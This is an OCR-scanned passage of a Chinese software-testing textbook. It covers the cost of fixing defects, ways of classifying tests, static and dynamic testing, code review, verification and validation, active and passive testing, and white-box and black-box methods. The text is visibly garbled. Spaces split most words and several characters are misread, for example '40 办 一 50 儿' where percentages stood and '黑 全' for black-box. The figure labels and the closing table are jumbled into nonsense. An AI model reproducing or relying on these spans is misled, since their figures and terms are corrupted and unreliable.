评审 ,单元 测试 以 后 ,系统 中 存在 的 缺陷 数目 就 比较 少 , 会 大 大 降低 企业 成 本 ,这 就 是 2. 1. 5 节 
要 讨论 的 缺陷 成 本 。 


2.1.5 修复 软件 缺陷 的 代价 


美国 商务 部 国家 标准 和 技术 研究 所 (NIST) 进 行 的 一 项 研究 表明 ,软件 缺陷 每 年 给 美国 经 
济 造成 的 损失 高 达 几 百 亿 甚至 上 千 亿 美元 。 说 明 软 件 中 存在 的 缺陷 所 造成 的 损失 是 巨大 的 。 
即使 在 软件 企业 内 部 ,软件 缺陷 同样 会 给 企业 带 来 很 大 的 成 本 , 即 软件 缺陷 产生 劣质 成 本 。 根 
据 统计 数据 ,多 数 软件 企业 的 这 种 劣质 成 本 高 达 开发 总 成 本 的 40 办 一 50 儿 。 

鉴于 这 样 高 的 劣质 成 本 ,必须 足够 地 重视 软件 缺陷 所 引起 的 代价 ,这 也 就 是 为 什么 在 讨论 
软件 测试 时 ,总 是 要 强调 ,希望 软件 测试 尽早 介入 项 目 , 问 题 发 现 得 越 早 越 好 。 缺 陷 被 发 现 之 
后 ,要 尽快 修复 这 些 被 发 现 的 缺陷 。 为 什么 要 这 样 做 呢 ? 原因 很 简单 ,缺陷 发 现 或 解决 得 越 
迟 , 成 本 就 越 高 。 

由 于 人 的 认识 不 可 能 百分之百 地 符合 客观 实际 ,因此 生命 周期 每 个 阶段 的 工作 中 都 可 能 
发 生 错 误 。 并 不 只 是 在 编程 阶段 产生 错误 ,需求 和 设计 阶段 同样 会 产生 错误 。 由 于 前 一 阶段 
的 成 果 是 后 一 阶段 工作 的 基础 ,前 一 阶段 的 错误 自然 会 导致 后 一 阶段 的 工作 结果 中 有 相应 的 
错误 ,而 且 错 误会 逐渐 累积 , 越 来 越 多 。 也 许 一 开始 ,只 是 一 个 很 小 范围 内 的 潜在 错误 ,但 随 着 
产品 开发 工作 的 进行 ,错误 不 断 传导 而 被 放大 ,小 错误 会 扩散 成 大 错误 。 越 到 后 期 ,修改 缺陷 
所 付出 的 代价 越 大 。 例 如 ,需求 定义 中 存在 的 一 个 问题 ,没有 及 时 发 现 ,等 设计 、 编 程 工作 都 完 
成 之 后 才 被 发 现 ,这 时 就 不 得 不 修改 设计 、 修 改 代 码 ,可 见 返 工 的 涉及 面 很 广 ,返工 的 工作 量 也 
很 大 。 如 果 问 题 到 了 发 布 之 后 被 发 现 ,损失 就 更 大 。 总 之 ,错误 不 能 及 早 发 现 , 那 只 可 能 造成 
越 来 越 严重 的 后 果 。 若 能 及 早 排除 软件 开发 中 的 错误 ,有 效 地 减少 后 期 工作 可 能 遇 到 的 问题 ， 
就 可 以 尽 可 能 地 避免 付出 高 昂 的 代价 ,从 而 大 大 提高 系统 开发 过 程 的 效率 。 前 期 的 缺陷 发 现 
还 能 减少 缺陷 的 注入 量 , 从 根本 上 提高 产品 的 质量 。 

Boehm 在 Software Engineering Economics(1981) 一 书 中 写 到 ; 平均 而 言 ,如 果 在 需求 
阶段 修正 一 个 错误 的 代价 是 1 ,那么 ,在 设计 阶段 就 是 它 的 3 一 6 倍 , 在 编程 阶段 是 它 的 10 倍 ， 
在 内 部 测试 阶段 是 它 的 20 一 40 倍 , 在 外 部 测试 阶段 是 它 的 30 一 70 倍 , 而 到 了 产品 发 布 出 去 


时 ,这 个 数字 就 是 40 一 100 倍 。 修 正 错误 的 代价 不 是 随时 间 线 性 增长 ,而 几乎 是 呈 指 数 增 长 
的 ,参见 图 2-7。 
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图 2-7 软件 缺陷 随 着 时 间 的 推移 带 来 的 成 本 越 来 越 高 


2.2 软件 测试 的 分 类 


分 类 取决 于 分 类 的 方法 和 坐标 ,对 于 软件 测试 ,可 以 从 不 同 的 角度 加 以 分 类 。 软 件 测试 可 
以 根据 测试 的 方法 进行 分 类 ,也 可 以 根据 测试 的 对 象 , 测 试 的 目标 和 测试 的 阶段 进行 分 类 ,如 
图 2-8 所 示 。 通 过 分 类 ,读者 能 够 了 解 软件 测试 的 全 貌 ,对 软件 测试 有 一 个 完整 的 认识 。 


测试 阶段 Bi 试 
a 测试 
的 收 测试 
单元 /集成 测试 
设计 审查 
需求 审查 测试 对 象 
可 分 性 测试 A 单 接 系 数 界 文 
可 用 性 测试 元 口 统 据 面 档 
妆容 性 测试 油 测 济 测 测 测 
试 试 试 试 试 斌 


安装 测试 

恢复 测试 
安全 性 测试 

性 能 测试 
功能 测试 / 河 试 目标 


图 2-8 软件 测试 的 三 维 空间 


1. 按 测试 层次 分 

按 测试 层次 划分 可 以 分 为 4 个 层次 。 

(1) 底层 测试 : 单元 测试 (Unit Testing) 。 

(2) 接口 层次 : 集成 测试 (Integration Testing) .完成 系统 内 单元 之 间接 口 和 单元 集成 为 
一 个 完整 系统 的 测试 。 

(3) 系统 层次 : 系统 测试 (System Testing) 。 

(4) 用 户 层次 : 验收 测试 (Acceptance Testing,Beta Testing) : 验证 是 否 是 用 户 真 正 所 需 


要 的 产品 特性 ,验收 测试 关注 用 户 环境 .用户 数据 ,而 且 用 户 也 参与 测试 过 程 中 。 

2. 按 被 测试 的 对 象 ( 单 元 /组 件 、 文 档 、 子 系统 、 系 统 等 ) 分 类 

(1) 单元 测试 (Unit Testing), 包 括 组 件 测试 (Component Testing) ,模块 测试 (Module 
Testing) 等 。 

(2) 程序 测试 (Program Testing)。 

(3) 系统 测试 (System Testing)。 

(4) 文档 测试 (Documentation Testing) ,包括 需求 文档 .设计 文档 .用户 手册 等 。 

(5) Web 应 用 测试 .客户 端 测试 。 

(6) 数据 库 测试 ,服务 器 测试 。 

3. 按 测试 阶段 划分 

对 于 传统 的 软件 测试 流程 ,一般 分 为 需求 评审 .设计 评审 .单元 测试 .集成 测试 .系统 测试 、 
验收 测试 .a 测试 .8 测试 等 阶段 。 如 果 是 敏捷 测试 流程 ,一 般 分 为 测试 需求 分 析 、 和 迭代 测试 计 
划 、 持 续 的 单元 和 系统 测试 ,验收 测试 等 。 按 阶段 划分 不 一 定 科 学 ,不 同 的 测试 流程 则 可 能 得 
到 不 一 样 的 结果 ,如 传统 测试 流程 和 敏捷 测试 流程 就 差别 较 大 。 

4. 按 测试 目的 分 类 

按 测试 目的 可 以 分 为 集成 测试 .功能 测试 .回归 测试 .性 能 测试 .可 靠 性 测试 .安全 性 测试 
和 兼容 性 测试 等 ,这 些 也 可 以 称 为 “测试 类 型 ”。 

(1) 功能 测试 (Functionality Testing): 也 称 正确 性 测试 (Correctness Testing) ,验证 每 个 
功能 是 否 按 照 事先 定义 的 要 求 那样 正常 工作 。 

(2) 压力 测试 (Stress Testing) : 也 称 负载 测试 (Load Testing) ,用 来 检查 系统 在 不 同 负载 
(如 数据 量 .并 发 用 户 .连接 数 等 ) 条 件 下 的 系统 运行 情况 ,特别 是 高 负载 .极限 负载 下 的 系统 运 
行情 况 , 以 发 现 系统 不 稳定 ,系统 性 能 瓶颈 .内存 泄漏 .CPU 使 用 率 过 高 等 问题 。 

(3) 性 能 测试 (Performance Testing): 测定 系统 在 不 同 负载 条 件 下 的 系统 具体 的 性 能 
指标 。 

(4) 可 靠 性 测试 (Reliability Testing) : 检验 系统 是 否 能 保持 长 期 稳定 、 正 常 的 运行 ,如 确 
定 系统 平均 故障 间隔 时 间 (Mean Time Between Failures,MTBF)。 可 靠 性 测试 包括 强壮 性 测 
试 (Robustness Testing) 和 异常 处 理 测试 (Exception Handling Testing) 。 

(5) 灾难 恢复 性 测试 (Recovery Testing): 在 系统 崩溃 、 硬 件 故障 或 其 他 灾难 发 生 之 后 ， 
重新 恢复 系统 和 数据 的 能 力 测试 。 

(6) 安全 性 测试 (Security Testing) : 测试 系统 在 应 对 非 授权 的 内 部 /外 部 访问 ,有意 攻 击 
时 的 系统 防护 能 力 。 

(7) 兼容 性 测试 (Compatibility Testing): 测试 在 系统 不 同 运行 环境 (网 络 、 硬 件 , 第 三 方 
软件 等 ) 下 的 实际 表现 。 

(8) 回归 测试 (Regression Testing): 为 保证 软件 中 新 的 变化 (新 增加 的 代码 、 代 码 修改 
等 ) 不 会 对 原 有 功能 的 正常 使 用 有 影响 而 进行 的 测试 。 也 就 是 说 ,满足 用 户 需求 的 原 有 功能 不 
应 该 因为 代码 变化 而 出 现任 何 新 的 问题 。 

(9) 安装 测试 (Installation Testing) : 在 一 个 真实 的 或 近似 的 用 户 环境 中 ,验证 系统 是 否 
能 按照 安装 说 明 书 成 功 地 完成 系统 的 安装 ,其 中 要 考虑 环境 的 不 同 设置 或 配置 .安装 文档 的 准 
确 性 等 。 


5. 其 他 分 类 

(1) 根据 测试 过 程 中 被 测 软 件 是 否 被 执行 .软件 测试 可 分 为 静态 测试 和 动态 测试 ,动态 测 
试 是 在 系统 运行 时 进行 测试 。 

(2) 根据 是 否 针对 系统 的 内 部 结构 和 具体 实现 算法 来 完成 测试 ,软件 测试 可 分 为 白 盒 测 
试 (White-Box Testing) 和 黑 盒 测 试 (Black-Box Testing)。 白 盒 测 试 需要 了 解 系 统 的 内 部 结 
构 和 具体 实现 来 完成 测试 。 

(3) 按照 测试 是 否 由 软件 工具 来 完成 测试 工作 分 为 手工 测试 和 自动 化 测试 ,其 中 手工 测 
试 是 指 通过 测试 人 员 手 工 操作 来 完成 软件 测试 工作 的 方法 ,而 自动 化 测试 是 通过 计算 机 运行 
测试 工具 和 测试 脚本 自动 完成 软件 测试 工作 的 方法 。 


2.3 静态 测试 和 动态 测试 


根据 程序 是 否 运行 ,测试 可 以 分 为 静态 测试 和 动态 测试 。 早 期 将 测试 局 限于 对 程序 进行 
动态 测试 ,可 以 看 作 是 狭义 的 测试 概念 ,而 现在 将 需求 和 设计 的 评审 也 纳入 测试 的 范畴 ,可 以 
看 作 是 广义 的 测试 概念 或 现代 的 测试 概念 。 

静态 测试 包括 对 软件 产品 的 需求 和 设计 规格 说 明 书 的 评审 、 对 程序 代码 的 审查 以 及 静态 
分 析 等 。 动 态 测试 是 通过 真正 运行 程序 发 现 错误 ,通过 观察 代码 运行 过 程 ,来 获取 系统 行为 、 
变量 实时 结果 、 内 存 \ 堆 栈 \ 线 程 以 及 测试 覆盖 度 等 各 方面 的 信息 ,来 判断 系统 是 否 存在 问题 ， 
或 者 通过 有 效 的 测试 用 例 , 对 应 的 输入 输出 关系 来 分 析 被 测 程序 的 运行 情况 ,来 发 现 缺陷 。 在 
SWEBOK 3.0 中 也 认可 静态 测试 ,只 是 把 这 部 分 内 容 放 在 “质量 管理 模块。 这 里 侧重 介绍 静 
态 测试 (产品 评审 和 静态 分 析 ) ,以 后 会 更 多 地 讨论 动态 测试 。 


2.3.1 产品 评审 


软件 评审 的 重要 目的 就 是 通过 软件 评审 尽早 地 发 现 产 品 中 的 缺陷 ,因此 软件 评审 可 以 看 
作 软 件 测试 的 有 机 组 成 部 分 ,两 者 之 间 有 着 密 不 可 分 的 关系 。 通 过 软件 评审 ,可 以 更 早 地 发 现 
需求 工程 软件 设计 等 各 个 方面 的 问题 , 极 大 地 减少 后 期 返工 ,将 质量 成 本 从 昂贵 的 后 期 返工 
转化 为 前 期 的 缺陷 发 现 。 通 过 评审 ,还 可 以 将 问题 记录 下 来 .使 其 具有 可 追溯 性 , 找 出 问题 产 
生 的 根本 原因 ,在 将 来 的 项 目 开发 中 进一步 减少 缺陷 ,有 利于 软件 质量 的 提高 。 

那 什么 是 软件 评审 呢 ? 根据 IEEE Std 1028 一 1988 的 定义 : 评审 是 对 软件 元 素 或 者 项 目 
状态 的 一 种 评估 手段 ,以 确定 其 是 否 与 计划 的 结果 保持 一 致 , 并 使 其 得 到 改进 。 检 验 工作 产品 
是 否 正确 地 满足 了 以 往 工作 产品 中 建立 的 规范 ,如 需求 或 设计 文档 是 否 符合 所 定义 的 模板 要 
求 ,各 项 内 容 是 否 清楚 ,一致 。 

软件 评审 的 形式 有 互 为 评审 (Peer Review)、 走 查 (Walk-through) 和 会 议 评审 (Inspection)。 
互 为 评审 也 称 同 行 评审 , 甲 完 成 的 成 果 ( 如 需求 文档 或 代码 ) 由 乙 来 检查 , 乙 完 成 的 成 果 则 由 甲 
来 检查 。 走 查 是 由 他 人 从 头 到 尾 进 行 检查 ,而 会 议 评审 是 最 为 正式 的 集体 检 审 查 形式 ,由 主持 
人 (协调 人 ) ,作者 和 相关 专业 人 员 、 项 目 干系 人 等 共同 参与 ,经 过 一 系列 准备 工作 (如 选择 合适 
的 参加 人 员 、 开 预备 会 ,发 放 材料 .事先 阅读 等 ) ,开会 确定 存在 的 各 种 问题 ,并 事后 跟踪 、 解 决 
问题 。 

软件 评审 的 对 象 有 很 多 种 ,主要 分 为 管理 评审 技术 评审 、 文 档 评审 和 流程 评审 。 对 于 软 
件 测试 ,应 该 包含 需求 评审 \ 设 计 评 审 、 代 码 评 审 和 文档 评审 ,而 管理 评审 和 流程 评审 则 属于 软 


件 质量 保证 的 组 织 和 过 程 管理 的 活动 内 容 。 

1. 需求 评审 

需求 ,如 需求 分 析 规 格 说 明 书 ,主要 审查 其 是 否 完整 正确、 清晰 ,这 是 软件 开发 成 败 的 关 
键 。 为 了 保证 需求 定义 的 质量 ,应 对 其 进行 严格 的 审查 。 测 试 人 员 要 参与 系统 或 产品 需求 分 
析 , 认 真 阅读 有 关 用 户 需求 分 析 文 档 , 真 正 理解 客户 的 需求 ,检查 规格 说 明 书 对 产品 描述 的 准 
确 性 一致 性 等 ,为 今后 熟悉 应 用 系统 \ 编 写 测试 计划 设计 测试 用 例 等 做 好 准备 工作 。 需 求 评 
审 ,也 包含 文档 评审 ,对 文档 格式 、 术 语 、 内 容 等 进行 检查 ,检查 文档 格式 是 否 满足 标准 、 术 语 是 
否 前 后 一 致 以 及 内 容 是 否 正确 、 易 理解 等 。 

2. 设计 和 代码 评审 

软件 设计 是 基于 对 用 户 需 求 的 理解 基础 上 ,借助 计算 机 技术 ,将 客户 的 需求 转换 成 计算 机 
软件 表示 的 过 程 ,其 设计 的 结果 能 描述 出 系统 结构 和 逻辑 ,数据 输入 、 详 细 处 理 过 程 ,数据 存储 
模式 ,数据 输出 等 。 例 如 ,可 以 按照 功能 性 需求 或 非 功 能 性 需求 等 ,对 系统 结构 的 合理 性 .可 测 
试 性 等 进行 分 析 检 查 ,还 可 以 利用 关系 数据 库 的 规范 化 理论 对 数据 库 模式 进行 审查 。 

代码 会 审 是 由 一 组 人 通过 阅读 ,讨论 来 审查 程序 结构 代码 风格 、 算 法 等 的 过 程 。 会 审 小 
组 会 前 充分 阅读 待 审 程序 文本 、 控 制 流程 图 及 有 关 要 求 .规范 等 ; 在 评审 会 上 程序 员 逐 句 讲解 
程序 的 逻辑 并 回答 其 他 人 员 提 出 的 问题 ,对 有 争议 的 问题 进行 讨论 ,以 达成 一 致意 见 或 得 到 解 
决 方案 。 实 践 表 明 ,代码 会 审 做 得 好 的 话 可 以 发 现 大 部 分 程序 缺陷 ,甚至 程序 员 在 自己 讲解 过 
程 中 就 能 发 现 不 少 代码 错误 ,而 讨论 可 能 进一步 促使 问题 暴露 。 例 如 ,对 某 个 全 局 变量 的 默认 
值 改变 或 某 个 参数 变量 选项 改变 的 讨论 ,可 能 发 现 与 之 有 关 的 ,甚至 能 涉及 模块 间接 口 和 系统 
结构 参数 的 大 问题 。 


2.3.2 静态 分 析 


静态 分 析 就 是 对 系统 的 源 代码 进行 研读 ,查找 错误 或 收集 一 些 度量 数据 ,并 不 需要 对 代码 
进行 编译 和 仿真 运行 。 静 态 分 析 的 查 错 和 分 析 功 能 是 其 他 方法 所 不 能 替代 的 ,可 以 采用 人 工 
检测 和 计算 机 辅助 静态 分 析 手 段 进行 检测 ,但 越 来 越 多 地 采用 工具 进行 自动 化 分 析 。 

(1) 人 工 检测 。 人 工 检测 是 指 不 依靠 计算 机 而 完全 靠 人 工 审查 或 评审 软件 。 人 工 检 测 偏 
重 于 编码 风格 ,算法 的 检查 ,也 可 以 检查 安全 性 、 国 际 化 和 容错 性 等 代码 问题 。 这 种 方法 可 以 
有 效 地 发 现 逻 辑 设 计 和 编码 错误 ,发 现 计算 机 辅助 静态 分 析 不 易 发 现 的 问题 。 

(2) 计算 机 辅助 静态 分 析 : 利用 静态 分 析 工 具 对 被 测 程序 进行 特性 分 析 , 从 程序 中 提取 
一 些 信息 ,以 便 检查 程序 逻辑 的 各 种 缺陷 和 可 疑 的 程序 构造 。 如 用 错 的 局 部 变量 和 全 局 变量 、 
不 匹配 的 参数 ,潜在 的 死 循 环 等 。 静 态 分 析 中 还 可 以 用 符号 代替 数值 求 得 程序 结果 ,以便 对 程 
序 进行 运算 规律 的 检验 。 

从 上 述 讨论 可 以 知道 ,软件 缺陷 不 仅 存 在 于 可 执行 的 程序 中 ,而 且 存 在 于 需求 定义 和 设计 
的 文档 之 中 ,所 以 软件 测试 不 仅 “ 是 为 了 发 现 错误 而 执行 程序 的 过 程 ”, 而 且 还 包括 对 产品 规格 
说 明 书 、 技 术 设计 文档 等 的 评审 一 一 静态 测试 。 软 件 测试 贯穿 整个 软件 开发 过 程 , 是 软件 验证 
和 用 户 需求 确认 的 统一 ,和 软件 评审 密 不 可 分 。 


2.3.3 验证 和 确认 
软件 测试 不 仅 要 检查 程序 是 否 出 错 ,程序 是 否 和 软件 产品 的 设计 规格 说 明 书 一 致 ,而 且 还 


要 检验 所 实现 的 功能 是 否 就 是 客户 或 用 户 所 需要 的 功能 ,这 就 引出 软件 测试 中 有 名 的 V&V。 
V&V, 即 两 个 英文 单词 Verification( 验 证 ) 和 Validation( 有 效 性 确认 ) 的 第 一 个 字母 组 合 。 软 
件 测试 可 以 看 作 针 对 软件 产品 (包括 阶段 性 成 果 、 半 产品 ) 的 “验证 和 有 效 性 确认 ”两 类 活动 构 
成 的 统一 体 。 正 如 第 1 章 所 说 ,这 里 的 验证 只 局 限于 产品 自身 的 验证 。 

1. 验证 

Verification, 一 般 书 上 将 它 翻译 为 “验证 ”, 但 也 可 以 翻译 为 “检验 ”, 即 检验 软件 是 否 已 正 
确 地 实现 了 产品 规格 说 明 书 所 定义 的 系统 功能 和 特性 。 验 证 过 程 提供 证 据 表明 软件 相关 产品 
与 所 有 生命 周期 活动 的 要 求 ( 如 正确 性 、 完 整 性 一 致 性 和 准确 性 等 ) 相 一 致 ,相当 于 ,以 软件 产 
品 设计 规格 说 明 书 为 标准 进行 软件 测试 的 活动 。 

验证 是 否 满足 生命 周期 过 程 中 的 标准 、 实 践 和 约定 ,验证 为 判断 每 一 个 生命 周期 活动 是 否 
已 经 完成 ,以 及 是 否 可 以 启动 其 他 生命 周期 活动 建立 一 个 基准 。 

2. 有 效 性 确认 

Validation ,一 般 书 上 将 它 翻译 为 “确认 ”, 但 更 准确 的 翻译 应 该 是 有 效 性 确认 ”。 这 种 有 
效 性 确认 要 求 更 高 ,要 能 保证 所 生产 的 软件 可 追溯 到 用 户 需 求 的 一 系列 活动 。 确 认 过 程 提供 
证 据 表明 软件 是 否 真正 满足 客户 的 需求 ,一 切 从 客户 出 发 ,理解 客户 的 需求 ,对 软件 需求 定义 、 
设计 的 怀疑 ,发现 需 求 定义 和 产品 设计 中 的 问题 。 这 主要 通过 各 种 软件 评审 活动 来 实现 ,包括 
让 客户 参加 评审 测试 活动 。 

3. 两 者 的 区 别 

为 了 更 好 地 理解 这 两 个 单词 的 区 别 , 可 以 概括 地 说 ,验证 是 检验 开发 出 来 的 软件 产品 和 设 
计 规 格 说 明 书 的 一 致 性 , 即 是 否 满足 软件 厂商 的 生产 要 求 。 但 设计 规格 说 明 书 本 身 就 可 能 存 
在 错误 ,所 以 即使 软件 产品 中 某 个 功能 实现 的 结果 和 设计 规格 说 明 书 完全 一 致 ,但 可 能 并 不 是 
用 户 所 需要 的 ,因为 设计 规格 说 明 书 很 可 能 一 开始 就 对 用 户 的 某 个 需求 理解 错 了 ,所 以 仅 进行 
验证 测试 还 是 不 充分 的 ,还 要 进行 确认 测试 。 确 认 就 是 检验 产品 功能 的 有 效 性 , 即 是 否 满足 用 
户 的 真正 需求 。 所 以 ,BOEHM 是 对 V&V 最 著名 又 最 简单 的 解释 。 

(1) Verification: Are we building the product right? 是 否 正确 地 构造 了 软件 ?” 即 是 否 正 
确 地 做 事 , 验 证 开发 过 程 是 否 遵守 已 定义 好 的 内 容 。 

(2) Validation: Are we building the right product? 是 否 构造 了 正确 的 软件 ? 即 是 否 做 
正确 的 事 , 即 正在 构建 用 户 所 需要 的 功能 ? 


2.4 主动 测试 和 被 动 测试 


在 软件 测试 中 ,比较 常见 的 方法 是 主动 测试 方法 ,测试 人 员 主 动向 被 测试 对 象 发 送 请 求 、 
或 借助 数据 、 事 件 驱 动 被 测试 对 象 的 行为 ,从 而 验证 被 测试 对 象 的 反应 或 输出 结果 。 在 主动 测 
试 中 ,测试 人 员 和 被 测试 对 象 之 间 发 生 直 接 相互 作用 的 关系 ,而 且 被 测试 对 象 完全 受 测试 人 员 
的 控制 ,被 测试 对 象 处 于 测试 状态 ,而 不 是 实际 工作 状态 ,如 图 2-9(a) 所 示 。 

在 主动 测试 中 ,由 于 被 测试 对 象 受 人 为 因素 影响 较 大 ,而 且 一 般 是 在 测试 环境 中 进行 ,不 
是 在 软件 产品 实际 运行 环境 中 进行 ,所 以 主动 测试 不 适应 产品 在 线 测试 。 为 了 解决 产品 在 线 
测试 ,被 动 测 试 方法 应 运 而 生 。 在 被 动 测试 方法 中 ,软件 产品 运行 在 实际 环境 中 ,测试 人 员 不 
干预 产品 的 运行 ,而 是 被 动 地 监控 产品 的 运行 ,通过 一 定 的 被 动机 制 来 获得 系统 运行 的 数据 ， 


包括 输入 、 输 出 数据 ,如 图 2-9(b) 所 示 。 被 动 测试 适合 性 能 测试 和 在 线 监控 ,在 嵌入 式 系统 测 
试 中 ,常常 也 采用 被 动 测试 方法 。 另 外 ,大 规模 的 复杂 系统 的 性 能 测试 ,为 了 节省 成 本 ,可 以 采 
用 这 种 方法 。 


测试 人 员 被 测试 对 旬 
人 接收 /检查 “发送 摘 收 /响应 
接收 发 送 /响应 
被 测试 对 象 接收 /监控 
测试 人 员 
人 主动 测试 (b) 被 动 测试 


2-9 主动 测试 和 被 动 测试 示 意图 


在 主动 测试 中 ,测试 人 员 需 要 设计 测试 用 例 ,尽力 设法 输入 各 种 数据 ,而 在 被 动 测试 中 , 系 
统 运 行 过 程 中 各 种 数据 自然 而 然 地 产生 了 ,测试 人 员 不 需要 设计 测试 用 例 ,只 要 设法 获得 系统 
运行 的 各 种 数据 ,但 数据 的 完整 性 得 不 到 保证 。 在 被 动 测试 中 ,关键 建立 监控 程序 (代理 ) ,并 
通过 数据 分 析 掌 握 系统 的 状态 。 


2.5 黑 盒 测 试 和 白 盒 测 试 


从 哲学 观点 看 ,分 析 问 题 和 解决 问题 的 方法 有 两 种 : 白 盒 方法 和 黑 盒 方法 。 所 谓 白 盒 方 
法 就 是 能 够 看 清楚 事物 的 内 部 , 即 了 解 事物 的 内 部 结构 和 运行 机 制 ,通过 剖析 事物 的 内 部 结构 
和 运行 机 制 ,来 处 理 和 解决 问题 。 如 果 没 有 办 法 或 不 去 了 解 事物 的 内 部 结构 和 运行 机 制 ,而 把 
整个 事物 看 成 一 个 整体 一 一 黑 盒子 ,通过 分 析 事 物 的 输入 、 输 出 以 及 周边 条 件 来 分 析 和 处 理 问 
题 ,这 种 方法 就 是 黑 盒 方 法 。 软 件 测 试 具有 相 类 似 的 哲学 思想 。 根 据 是 针对 软件 系统 的 内 部 
结构 .还 是 针对 软件 系统 的 外 部 表现 行为 来 采取 不 同 的 测试 方法 ,分 别 被 称 为 白 盒 测 试 
(White-box Testing) 方 法 和 黑 盒 测试 (Black-box Testing) 方 法 。 这 里 的 方法 属于 高 层次 的 方 
法 , 归 为 方法 论 (Methodology) ,而 第 3 章 讨 论 的 测试 方法 则 是 低层 次 的 具体 方法 ,也 有 一 些 
文献 (如 SWEBOK) 将 这 些 具体 方法 归 为 测试 技术 或 测试 技巧 (Technique) 。 

1. 和 白 盒 测试 

白 盒 测 试 , 也 称 结构 化 测试 或 逻辑 驱动 测试 ,也 就 是 
已 知 产品 的 内 部 工作 过 程 ,清楚 最 终生 成 软件 产品 的 计算 
机 程序 结构 及 其 语句 ,按照 程序 内 部 的 结构 测试 程序 , 测 
试 程序 内 部 的 变量 状态 .逻辑 结构 .运行 路 径 等 ,检验 程序 
中 的 每 条 通路 是 否 都 能 按 预定 要 求 正 确 工作 ,检查 程序 内 
部 动作 或 运行 是 否 符合 设计 规格 要 求 , 所 有 内 部 成 分 是 否 
按 规定 正常 进行 ,如 图 2-10 所 示 。 

白 盒 测试 不 仅 可 以 应 用 在 程序 的 单元 测试 ,覆盖 程序 
的 结构 特性 或 逻辑 路 径 , 而 且 可 以 扩展 到 控制 流 路 径 、 业 
务 流程 路 径 和 数据 流 路 径 等 的 覆盖 。 一 旦 将 这 些 流 程 图 图 2-10 白 盒 测试 方法 示意 图 


绘制 出 来 ,就 可 以 设计 足够 的 测试 用 例 来 覆盖 其 分 支 .条 件 、 条 件 组 合 或 基本 路 径 等 ,从 而 比较 
容易 衡量 测试 的 覆盖 率 ,以 判断 测试 是 否 充分 .是 否 达到 相应 的 软件 产品 测试 要 求 。 白 盒 测 试 
的 基本 原则 如 下 。 

(1) 在 执行 测试 时 , 先 考虑 各 个 分 支 被 覆盖 ; 

(2) 再 考虑 完成 所 有 逻辑 条 件 分 别 为 真 值 CTrue) 和 假 值 (False) 的 测试 ; 

(3) 如 果 有 更 高 的 质量 要 求 ,测试 对 象 流程 图 中 所 有 独立 路 径 至 少 被 运行 一 次 ; 

(4) 检查 内 部 数据 结构 ,注意 上 下 文 的 影响 ,以 确保 其 测试 的 有 效 性 。 

白 盒 测试 法 试图 穷 举 路 径 测试 ,但 几乎 不 可 能 ,因为 贯穿 一 定 规模 的 系统 程序 的 独立 路 径 
数 可 能 是 一 个 天 文 数字 。 企 图 遍历 所 有 的 路 径 是 很 难 做 到 的 ,即使 每 条 路 径 都 测试 了 ,覆盖 率 
达到 100% ,程序 仍 可 能 出 错 。 

(1) 穷 举 路 径 测 试 绝 不 能 查 出 程序 违反 了 设计 规范 , 即 程序 在 实现 一 个 不 是 用 户 需 要 的 
功能 。 

(2) 穷 举 路 径 测试 不 可 能 查 出 程序 中 因 遗 漏 路 径 而 出 错 。 

(3) 穷 举 路 径 测试 可 能 发 现 不 了 一 些 与 数据 相关 的 异常 错误 。 

2. 黑 盒 测试 

黑 盒 测 试 方法 ,也 称 数据 驱动 测试 方法 ,在 测试 时 ,把 程序 看 作 一 个 不 能 打开 的 黑 盒子 ,在 
完全 不 考虑 程序 内 部 结构 和 内 部 特性 的 情况 下 ,测试 人 员 针 对 软件 直接 进行 测试 ,如 图 2-11 
所 示 ,检查 系统 功能 是 否 按照 需求 规格 说 明 书 的 规定 正常 使 用 ,是否 能 适当 地 接收 输入 数据 而 
输出 正确 的 结果 等 ,检查 相应 的 文档 是 否 采用 了 正确 的 模板 .是 否 满足 规范 要 求 。 

客户 需求 、 条 件 限制 

结果 输出 


数据 输入 


事件 驱动 


图 2-11 黑 盒 测试 方法 示意 图 


黑 盒 测试 方法 不 关注 软件 内 部 结构 ,而 是 着 眼 于 程序 外 部 用 户 界面 ,关注 软件 的 输入 和 输 
出 ,关注 用 户 的 需求 ,直接 获得 用 户 体验 ,从 用 户 的 角度 或 扮演 用 户 角色 来 验证 软件 功能 ,验证 
产品 每 个 功能 是 否 都 能 正常 使 用 ,评估 软件 的 使 用 质量 。 过 去 ,人 们 常常 把 等 价 类 划分 法 、 边 
界 值 分 析 法 、 错 误 推测 法 等 具体 方法 归 为 黑 盒 测试 方法 ,不 够 恰当 。 例 如 ,边界 值 分 析 方 法 ,可 
以 在 系统 外 部 输入 中 运用 ,也 可 以 在 代码 内 部 变量 测试 中 运用 ,前 者 归 为 黑 盒 测试 方法 ,后 者 
归 为 白 盒 测试 方法 。 所 以 某 种 方法 是 否 是 黑 盒 测试 方法 ,关键 还 是 看 是 否 是 针对 被 测 对 象 内 
部 结构 还 是 针对 被 测 对 象 的 整体 来 进行 测试 。 黑 盒 测试 方法 常用 于 发 现 以 下 缺陷 。 

(1) 有 错误 的 功能 或 遗漏 了 某 项 功能 ; 

(2) 不 能 正确 地 接收 输入 数据 ,输出 错误 的 结果 ; 

(3) 功能 操作 迎 辑 不 合理 、 不 够 方便 ; 

(4) 界面 出 错 、 扭 曲 或 不 美观 ; 

(5) 安装 过 程 中 出 现 问题 ,安装 步骤 不 清晰 \ 不 够 灵活 ; 


(6) 系统 初始 化 问题 等 。 

使 用 黑 盒 测试 方法 时 , 穷 举 测试 也 是 不 可 能 的 , 即 不 可 能 完成 所 有 的 输入 条 件 及 其 组 合 的 
测试 , 黑 盒 测 试 法 的 覆盖 率 有 时 比较 难以 测定 或 达到 一 定 水 平时 就 难以 提高 ,这 是 它 的 局 限 
性 。 所 以 ,在 实际 测试 工作 中 ,还 要 结合 白 盒 测试 方法 ,进行 条 件 、 人 逻辑 和 路 径 等 方面 的 测试 。 

在 实际 工作 中 ,可 以 根据 需要 ,综合 运用 不 同 的 测试 方式 ,方法 ,以 达到 良好 的 测试 效果 。 
例如 ,将 静态 测试 ,动态 测试 和 白 盒 测试 . 黑 盒 测 试 组 合成 4 种 基本 的 测试 方式 (如 表 2-1 所 
示 ) ,以 满足 不 同 被 测试 对 象 的 测试 要 求 。 


表 2-1 针对 不 同 测试 对 象 的 4 种 基本 组 合 的 测试 方法 


自 侈 测试 方法 黑 全 测试 方法 
静态 - 白 全 测试 方法 前 态 黑人 测试 方法 

静态 测试 方法 。 | (对 源 程序 代码 的 语法 检查 .扫描 、 评 | (对 需求 文档 需求 规格 说 明 书 的 审查 活 
审 等) 动 , 一 些 非 技术 性 文档 测试 等) 
动态 - 黑 全 测试 方法 

